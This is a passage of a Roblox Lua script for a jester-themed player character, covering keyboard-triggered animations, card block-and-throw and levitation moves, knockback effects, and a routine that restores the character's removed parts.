SOUND(brick,1888686669,6,false,1.5) ace = aces[math.random(1,#aces)] acer = Instance.new("Decal",brick) acer.Texture = "rbxassetid://1898092341" acer.Transparency = 1 acer.Face = "Top" coroutine.wrap(function() for i = 1, 20 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,ETorso.Position),.2) brick.Transparency = brick.Transparency - .05 acer.Transparency = acer.Transparency - .1 swait() end end)() ETorso.Anchored = true EHead.Anchored = true for i = 1, 25 do swait() g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,ETorso.Position),.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,-.2,0) * CFrame.Angles(0,0,0),.3) LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3) brick.CFrame = brick.CFrame:lerp(CFrame.new(ETorso.Position) * CFrame.new(0,-3,0) * CFrame.Angles(0,math.rad(0+10),0),.2) end SOUND(brick,472214107,6,false,2) coroutine.wrap(function() for i = 1, 10 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,ETorso.Position),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, .8, 0.4) * CFrame.Angles(math.rad(-60 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3) swait() end end)() shockwave = Instance.new("Part", Torso) shockwave.Size = Vector3.new(1,1,1) shockwave.CanCollide = false shockwave.Anchored = true shockwave.Transparency = 0 shockwave.BrickColor = BrickColor.new("White") shockwave.CFrame = CFrame.new(brick.Position) shockwavemesh = Instance.new("SpecialMesh", shockwave) shockwavemesh.Scale = Vector3.new(1,1,1) shockwavemesh.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave,4) shockwave2 = Instance.new("Part", Torso) shockwave2.Size = Vector3.new(1,1,1) shockwave2.CanCollide = false shockwave2.Anchored = true shockwave2.Transparency = 0 shockwave2.BrickColor = BrickColor.new("White") shockwave2.CFrame = CFrame.new(brick.Position) shockwavemesh2 = Instance.new("SpecialMesh", shockwave2) shockwavemesh2.Scale = Vector3.new(1,1,1) shockwavemesh2.MeshId = "rbxassetid://20329976" removeuseless:AddItem(shockwave2,4) for i = 1, 35 do swait() shockwavemesh.Scale = shockwavemesh.Scale + Vector3.new(2,.1,2) shockwave.CFrame = shockwave.CFrame * CFrame.Angles(0,math.rad(0+12),0) shockwave.Transparency = shockwave.Transparency + .05 shockwavemesh2.Scale = shockwavemesh2.Scale + Vector3.new(.5,.1,.5) shockwave2.CFrame = shockwave2.CFrame * CFrame.Angles(0,math.rad(0+4),0) shockwave2.Transparency = shockwave2.Transparency + .03 EHead.CFrame = EHead.CFrame * CFrame.new(0,-.20,0) ETorso.CFrame = ETorso.CFrame * CFrame.new(0,-.25,0) end for i = 1, 8 do brick.Size = brick.Size + Vector3.new(1.5,0,2.5) swait() end n = 0 SOUND(brick,54111471,6,false,1) for i = 1, 40 do n = n + 6 brick.Transparency = brick.Transparency + .025 acer.Transparency = acer.Transparency + .075 brick.CFrame = brick.CFrame * CFrame.Angles(0,math.rad(n),0) brick.Size = brick.Size - Vector3.new(1.5,.025,2.5) swait() end ws = 10 brick:Remove() enemyhum.Parent:Remove() attacking = false removeuseless:AddItem(g1,0.001) debounce = false appi = false end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='p' then if levitate then return end if blocking then if blockedoff then return end clickallowance = false appi = false attacking = true blocking = false throwing = true ws = 0 n = 0 blockcard.CanCollide = false for i = 1, 35 do n = n + 20 blockcard.CFrame = Root.CFrame * CFrame.new(0,3,-5) * CFrame.Angles(0,math.rad(n),0) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(25), math.rad(0)), 0.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-50 - 2 * math.sin(sine/12)), math.rad(12), math.rad(9)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-.65, .6, 1) * CFrame.Angles(0,0,0),.3) swait() end blockcard.CFrame = Root.CFrame * CFrame.new(0,3,-5 + -1) * CFrame.Angles(0,0,0) blockcard.CanCollide = false locater1 = Instance.new("Part",blockcard) locater1.Size = Vector3.new(1,1,1) locater1.CanCollide = false locater1.Anchored = true locater1.Transparency = 1 locater2 = Instance.new("Part",blockcard) locater2.Size = Vector3.new(1,1,1) locater2.CanCollide = false locater2.Transparency = 1 locater2.Anchored = true locater3 = Instance.new("Part",blockcard) locater3.Size = Vector3.new(1,1,1) locater3.Transparency = 1 locater3.CFrame = blockcard.CFrame * CFrame.Angles(math.rad(90),0,0) locater3.CanCollide = false locater3.Anchored = true fushfush = Instance.new("Sound",blockcard) fushfush.SoundId = "rbxassetid://288641686" fushfush.Volume = 8 fushfush:Play() boosh:Play() coroutine.wrap(function() n = 0 for i = 1, 35 do n = n + 10 shockwave = Instance.new("Part", Torso) shockwave.Size = Vector3.new(1,1,1) shockwave.CanCollide = false shockwave.Anchored = true shockwave.Transparency = .5 shockwave.BrickColor = BrickColor.new("White") shockwave.CFrame = locater3.CFrame shockwavemesh = Instance.new("SpecialMesh", shockwave) shockwavemesh.Scale = Vector3.new(15,.7,15) shockwavemesh.MeshId = "rbxassetid://20329976" shockwave.CFrame = locater3.CFrame * CFrame.Angles(math.rad(0),math.rad(1),0) removeuseless:AddItem(shockwave,1) table.insert(lolzor2,shockwave) for i,v in pairs(lolzor2) do v.Transparency = v.Transparency + .1 v.CFrame = v.CFrame * CFrame.Angles(math.rad(0),math.rad(n),0) end swait() end end)() for i = 1, 35 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(-20), math.rad(0)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(-20), math.rad(4)), 0.3) fushfush.Volume = fushfush.Volume - .2 Hit = damagealll(20,blockcard.Position) for _,v in pairs(Hit) do v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0)) vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(blockcard.Position,torso.Position).lookVector*120 removeuseless:AddItem(vel,.1) end locater1.CFrame = blockcard.CFrame * CFrame.new(-5,-6,0) locater3.CFrame = blockcard.CFrame * CFrame.new(0,0,-1) * CFrame.Angles(math.rad(90),0,0) locater2.CFrame = blockcard.CFrame * CFrame.new(5,-6,0) grassblocks = Instance.new("Part",Torso) grassblocks.Size = Vector3.new(4,4,4) grassblocks.Material = "Grass" grassblocks.Anchored = true grassblocks.BrickColor = BrickColor.new("Bright green") grassblocks.CFrame = locater1.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(grassblocks,5) grassblocks2 = Instance.new("Part",Torso) grassblocks2.Size = Vector3.new(4,4,4) grassblocks2.Material = "Grass" grassblocks2.Anchored = true grassblocks2.BrickColor = BrickColor.new("Bright green") grassblocks2.CFrame = locater2.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(grassblocks2,5) blockcardshadow = Instance.new("Part",Torso) blockcardshadow.Transparency = .5 blockcardshadow.Anchored = true blockcardshadow.Material = "Neon" blockcardshadow.BrickColor = BrickColor.new("White") blockcardshadow.Size = Vector3.new(8, 13, 0.3) blockcardshadow.CanCollide = false blockcardshadow.CFrame = blockcard.CFrame removeuseless:AddItem(blockcardshadow,2) table.insert(lolzor,blockcardshadow) for i,v in pairs(lolzor) do v.Transparency = v.Transparency + 0.05 end blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,-4) swait() end blockcard.Name = "Getthisshitoutofhere" for i = 1, 10 do blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,-2) blockcard.Transparency = blockcard.Transparency + .1 acer.Transparency = blockcard.Transparency ace2.Transparency = blockcard.Transparency for i,v in pairs(lolzor) do v.Transparency = v.Transparency + .05 end for i,v in pairs(lolzor2) do v.Transparency = v.Transparency + .1 end swait() end lolzor={} lolzor2={} attacking = false debounce = false blocking = false throwing = false fushfush:Remove() clickallowance = false appi = false blockcard:Remove() g1:Remove() ws = 10 else if debounce then return end if throwing then return end debounce = true ws = 10 attacking = true blocking = true boosh = Instance.new("Sound",nil) boosh.SoundId = "rbxassetid://413682983" boosh.Volume = 6 appi = true coroutine.wrap(function() while appi do wait() if Root.Velocity.y > 1 and attacking == true then position = "Jump2" elseif Root.Velocity.y < -1 and attacking == true then position = "Falling2" elseif Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" elseif Root.Velocity.Magnitude > 2 and attacking == true then position = "Walking2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Jump2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Falling2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2) elseif position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) elseif position == "Walking2" and attacking == true and appi == true then change = .8 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0)), 0.3) end end end)() blockcard = Instance.new("Part",Torso) blockcard.Material = "Neon" blockcard.Transparency = 1 blockcard.BrickColor = BrickColor.new("White") blockcard.Size = Vector3.new(8, 13, 0.3) blockcard.CFrame = Root.CFrame * CFrame.new(0,2,-5) blockcard.Anchored = true boosh.Parent = blockcard SOUND(blockcard,236989198,6,false,1) ace = aces[math.random(1,#aces)] acer = Instance.new("Decal",blockcard) acer.Texture = "rbxassetid://"..ace acer.Transparency = 1 acer.Face = "Front" ace2 = acer:Clone() ace2.Parent = blockcard ace2.Face = "Back" coroutine.wrap(function() for i = 1, 20 do blockcard.Transparency = blockcard.Transparency - 0.05 acer.Transparency = blockcard.Transparency ace2.Transparency = blockcard.Transparency swait() end clickallowance = true end)() g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) coroutine.wrap(function() while blocking do if not blockedoff then ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,-.2, 0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)),.3) blockcard.CFrame = Root.CFrame * CFrame.new(0,3,-5) g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0)*CFrame.Angles(0,0,0),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3) end swait() end end)() wait(1) mouse.Button1Down:connect(function() if throwing then return end if not clickallowance then return end clickallowance = false blockedoff = true ws = 0 for i = 1, 15 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(25), math.rad(0)), 0.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-50 - 2 * math.sin(sine/12)), math.rad(12), math.rad(9)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-.65, .6, 1) * CFrame.Angles(0,0,0),.3) swait() end boosh:Play() hitdebounce = false blockcard.Touched:connect(function(hit) if hit.Parent:IsA("Part") then elseif hit.Parent:IsA("SpecialMesh") then elseif hit.Parent.Name == game.Players.LocalPlayer.Name then elseif hit.Parent:findFirstChildOfClass("Humanoid") then for i,v in pairs(hit.Parent:GetChildren()) do Slachtoffer = v.Parent:FindFirstChildOfClass("Humanoid") if hitdebounce then return end hitdebounce = true vel = Instance.new("BodyVelocity",hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) if Slachtoffer.RigType == Enum.HumanoidRigType.R15 then tors = hit.Parent:FindFirstChild("UpperTorso") else tors = hit.Parent:FindFirstChild("Torso") end vel.velocity = CFrame.new(Root.Position,tors.Position).lookVector*120 removeuseless:AddItem(vel,.1) Slachtoffer:TakeDamage(math.random(0,0)) end end end) for i = 1, 10 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(-20), math.rad(0)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(-20), math.rad(4)), 0.3) blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,0-1) swait() end for i = 1, 10 do blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,0+1) swait() end hitdebounce = true ws = 10 clickallowance = true blockedoff = false end) end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='f' then if debounce then return end if notallowedtransform then return end debounce = true if levitate then levitate = false mjester.VertexColor = Vector3.new(1, 1, 1) glow.Transparency = 1 blastwave = Instance.new("Part",Torso) blastwave.CFrame = Torso.CFrame blastwave.Anchored = true blastwave.Material = "Neon" blastwave.CanCollide = false blastwave.Shape = "Ball" blastwave.Size = Vector3.new(3,3,3) coroutine.wrap(function() for i = 1, 20 do levitatewave.Transparency = levitatewave.Transparency + 0.05 levitatewave2.Transparency = levitatewave2.Transparency + 0.05 blastwave.Size = blastwave.Size + Vector3.new(2,2,2) blastwave.Transparency = blastwave.Transparency + 0.05 swait() end blastwave:Remove() levitatewave2:Remove() levitatewave:Remove() end)() ws = 10 notallowedtransform = true attacking = true coroutine.wrap(function() for i = 1, 10 do for i,v in pairs(LeftArm:GetChildren()) do if v.Name == lmagic.Name then v.Transparency = v.Transparency + 0.1 end end for i,v in pairs(RightArm:GetChildren()) do if v.Name == rmagic.Name then v.Transparency = v.Transparency + 0.1 end end wait() end end)() doomtheme.SoundId = "rbxassetid://1843358057" jesterWeld.C0 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) wait(0.000001) jesterWeld.C0 = jester.CFrame:inverse() * Head.CFrame * CFrame.new(0,-.3,0) * CFrame.Angles(math.rad(0),math.rad(90),0) mjester.Scale = Vector3.new(1.1, 1.1, 1.1) mjester.MeshId,mjester.TextureId = 'rbxassetid://1241662062','rbxassetid://1241662395' mMask.Scale = Vector3.new(0.13, 0.13, 0.1) mMask.MeshId,mMask.TextureId = 'http://www.roblox.com/asset/?id=5158270','http://www.roblox.com/asset/?id=9543585' maskweld.C0 = CFrame.new(0,0,0)*CFrame.Angles(0,0,0) wait(0.000001) maskweld.C0 = CFrame.new(0,-.555,0) * CFrame.Angles(math.rad(90),0,0) eyo1 = Instance.new("Part",Head) eyo1.BrickColor = BrickColor.new("White") eyo1.Material = "Neon" eyo1.Shape = "Ball" eyo1.Name = "eyo1" eyo1.CanCollide = false eyo1.Transparency = 1 eyo1.Size = Vector3.new(0.33, 0.33, 0.33) eyo1weld = weldBetween(eyo1,Head) eyo1weld.C0 = CFrame.new(.215,-.05,.52) light = Instance.new("PointLight", eyo1) light.Color = Color3.new(1,1,1) light.Range = 3 light.Brightness = 4 light.Enabled = true eyo2 = Instance.new("Part",Head) eyo2.BrickColor = BrickColor.new("White") eyo2.Material = "Neon" eyo2.Shape = "Ball" eyo2.Name = "eyo2" eyo2.Transparency = 1 eyo2.CanCollide = false eyo2.Size = Vector3.new(0.33, 0.33, 0.33) eyo2weld = weldBetween(eyo2,Head) eyo2weld.C0 = CFrame.new(-.215,-.05,.52) light2 = Instance.new("PointLight", eyo2) light2.Color = Color3.new(1,1,1) light2.Range = 3 light2.Brightness = 4 light2.Enabled = true hum.HipHeight = 0 ws = 10 debounce = false attacking = false coroutine.wrap(function() wait(3) notallowedtransform = false end)() else ws = 50 notallowedtransform = true levitate = true ws = 50 glow.Transparency = 0 eyo1:Remove() eyo2:Remove() coroutine.wrap(function() while levitate do for i,v in pairs(Head:GetChildren()) do if v.Name == "eyo1" or v.Name == "eyo2" then v:Remove() end end wait() end end)() mnb = 0 levitatewave = Instance.new("Part", Torso) levitatewave.Size = Vector3.new(1,1,1) levitatewave.CanCollide = false levitatewave.Anchored = true levitatewave.Transparency = .5 levitatewave.BrickColor = BrickColor.new("Really black") levitatewave.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-5,0) levitatewavemesh = Instance.new("SpecialMesh", levitatewave) levitatewavemesh.Scale = Vector3.new(2.5,.3,2.5) levitatewavemesh.MeshId = "rbxassetid://20329976" levitatewave2 = Instance.new("Part", Torso) levitatewave2.Size = Vector3.new(1,1,1) levitatewave2.CanCollide = false levitatewave2.Anchored = true levitatewave2.Transparency = .5 levitatewave2.BrickColor = BrickColor.new("Really red") levitatewave2.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-5,0) levitatewavemesh2 = Instance.new("SpecialMesh", levitatewave2) levitatewavemesh2.Scale = Vector3.new(2,.4,2) levitatewavemesh2.MeshId = "rbxassetid://20329976" blastwave = Instance.new("Part",Torso) blastwave.CFrame = Torso.CFrame blastwave.Anchored = true blastwave.Material = "Neon" blastwave.CanCollide = false blastwave.Shape = "Ball" blastwave.Size = Vector3.new(3,3,3) coroutine.wrap(function() for i = 1, 20 do blastwave.Size = blastwave.Size + Vector3.new(2,2,2) blastwave.Transparency = blastwave.Transparency + 0.05 swait() end blastwave:Remove() end)() coroutine.wrap(function() while levitate do mnb = mnb + 15 levitatewave.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-6 + .5 * math.sin(sine/9),0) * CFrame.Angles(0,math.rad(mnb),0) levitatewave2.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-6 + .5 * math.sin(sine/9),0) * CFrame.Angles(0,math.rad(mnb),0) colors = colortable[math.random(1,#colortable)] lmagic = Instance.new("Part",LeftArm) lmagic.Material = "Neon" lmagic.CanCollide = false lmagic.Anchored = true lmagic.BrickColor = BrickColor.new(colors) lmagic.Size = Vector3.new(1,1,1) lmagic.CFrame = leftlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(lmagic,2) rmagic = Instance.new("Part",RightArm) rmagic.Material = "Neon" rmagic.CanCollide = false rmagic.Anchored = true rmagic.BrickColor = BrickColor.new(colors) rmagic.Size = Vector3.new(1,1,1) rmagic.CFrame = rightlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(rmagic,2) for i,v in pairs(LeftArm:GetChildren()) do if v.Name == lmagic.Name then v.Transparency = v.Transparency + 0.05 end end for i,v in pairs(RightArm:GetChildren()) do if v.Name == rmagic.Name then v.Transparency = v.Transparency + 0.05 end end swait() end end)() framee = Instance.new("Frame") framee.Parent = screenGui framee.Position = UDim2.new(0, 8, 0, -500) framee.Size = UDim2.new(100000000,10000000,10000000,10000000) framee.BackgroundColor3 = BrickColor.new("White").Color framee.BackgroundTransparency = 0 coroutine.wrap(function() wait(.2) for i = 1, 40 do hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-0,0)) framee.BackgroundTransparency = framee.BackgroundTransparency + 0.025 swait() end hum.CameraOffset = Vector3.new(0,0,0) framee:Remove() end)() doomtheme.SoundId = "rbxassetid://1382488262" doomtheme:Play() doomtheme.Volume = 2 doomtheme.TimePosition = 20.7 jesterWeld.C0 = jesterWeld.C0 * CFrame.new(.3,-.3,0) * CFrame.Angles(math.rad(0),math.rad(-90),0) mjester.MeshId = "rbxassetid://193760002" mjester.TextureId = "rbxassetid://379225327" mjester.VertexColor = Vector3.new(1, 0, 0) maskweld.C0 = maskweld.C0 * CFrame.new(0,.55,-.5) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)) mMask.MeshId = "rbxassetid://13520257" mMask.Scale = Vector3.new(1.1, 1, 1) mMask.TextureId = "rbxassetid://13520260" eyo1:Remove() eyo2:Remove() coroutine.wrap(function() while levitate do hum.HipHeight = 3 - .5 * math.sin(sine/9) swait() end end)() attacking = false debounce = false coroutine.wrap(function() wait(3) notallowedtransform = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='.' then hum.Parent:BreakJoints() end end) checks1 = coroutine.wrap(function() -------Checks while true do if Root.Velocity.y > 1 and levitate == false then position = "Jump" elseif Root.Velocity.y < -1 and levitate == false then position = "Falling" elseif Root.Velocity.Magnitude < 2 and running == false and not levitate then position = "Idle" elseif Root.Velocity.Magnitude < 2 and running == false then position = "Idle2" elseif Root.Velocity.Magnitude < 20 and running == false and levitate == false then position = "Walking" elseif Root.Velocity.Magnitude > 20 and running == false and levitate then position = "Walking2" elseif Root.Velocity.Magnitude > 20 and levitate == false then position = "Running" else end wait() end end) checks1() function ray(POSITION, DIRECTION, RANGE, IGNOREDECENDANTS) return workspace:FindPartOnRay(Ray.new(POSITION, DIRECTION.unit * RANGE), IGNOREDECENDANTS) end function ray2(StartPos, EndPos, Distance, Ignore) local DIRECTION = CFrame.new(StartPos,EndPos).lookVector return ray(StartPos, DIRECTION, Distance, Ignore) end OrgnC0 = Neck.C0 local movelimbs = coroutine.wrap(function() while RunSrv.RenderStepped:wait() do TrsoLV = Torso.CFrame.lookVector Dist = nil Diff = nil if not MseGuide then print("Failed to recognize") else local _, Point = Workspace:FindPartOnRay(Ray.new(Head.CFrame.p, mouse.Hit.lookVector), Workspace, false, true) Dist = (Head.CFrame.p-Point).magnitude Diff = Head.CFrame.Y-Point.Y local _, Point2 = Workspace:FindPartOnRay(Ray.new(LeftArm.CFrame.p, mouse.Hit.lookVector), Workspace, false, true) Dist2 = (LeftArm.CFrame.p-Point).magnitude Diff2 = LeftArm.CFrame.Y-Point.Y HEADLERP.C0 = CFrame.new(0, -1.5, -0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) Neck.C0 = Neck.C0:lerp(OrgnC0*CFrame.Angles((math.tan(Diff/Dist)*1), 0, (((Head.CFrame.p-Point).Unit):Cross(Torso.CFrame.lookVector)).Y*1), .1) end end end) movelimbs() immortal = {} for i,v in pairs(Character:GetDescendants()) do if v:IsA("BasePart") and v.Name ~= "lmagic" and v.Name ~= "rmagic" then if v ~= Root and v ~= Torso and v ~= Head and v ~= RightArm and v ~= LeftArm and v ~= RightLeg and v.Name ~= "lmagic" and v.Name ~= "rmagic" and v ~= LeftLeg then v.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) end table.insert(immortal,{v,v.Parent,v.Material,v.Color,v.Transparency}) elseif v:IsA("JointInstance") then table.insert(immortal,{v,v.Parent,nil,nil,nil}) end end for e = 1, #immortal do if immortal[e] ~= nil then local STUFF = immortal[e] local PART = STUFF[1] local PARENT = STUFF[2] local MATERIAL = STUFF[3] local COLOR = STUFF[4] local TRANSPARENCY = STUFF[5] if levitate then if PART.ClassName == "Part" and PART ~= Root and PART.Name ~= eyo1 and PART.Name ~= eyo2 and PART.Name ~= "lmagic" and PART.Name ~= "rmagic" then PART.Material = MATERIAL PART.Color = COLOR PART.Transparency = TRANSPARENCY end PART.AncestryChanged:connect(function() PART.Parent = PARENT end) else if PART.ClassName == "Part" and PART ~= Root and PART.Name ~= "lmagic" and PART.Name ~= "rmagic" then PART.Material = MATERIAL PART.Color = COLOR PART.Transparency = TRANSPARENCY end PART.AncestryChanged:connect(function() PART.Parent = PARENT end) end end end function immortality() end coroutine.wrap(function() while true do if hum.Health < .1 then end wait() end end)() mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='g' then if not levitate then return end if debounce then return end debounce = true attacking = true FireBall:Play() ws = 15 g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) for i = 1, 15 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3) swait() end local swoosh = Instance.new("Part",Torso) swoosh.Name = "swoosh" swoosh.CFrame = rightlocation.CFrame * CFrame.new(0,0,0) swoosh.Size = Vector3.new(1.7,1.7,1.7) swoosh.Shape = "Ball" swoosh.Material = "Neon" swoosh.BrickColor = BrickColor.new("Really black") swoosh.CanCollide = false 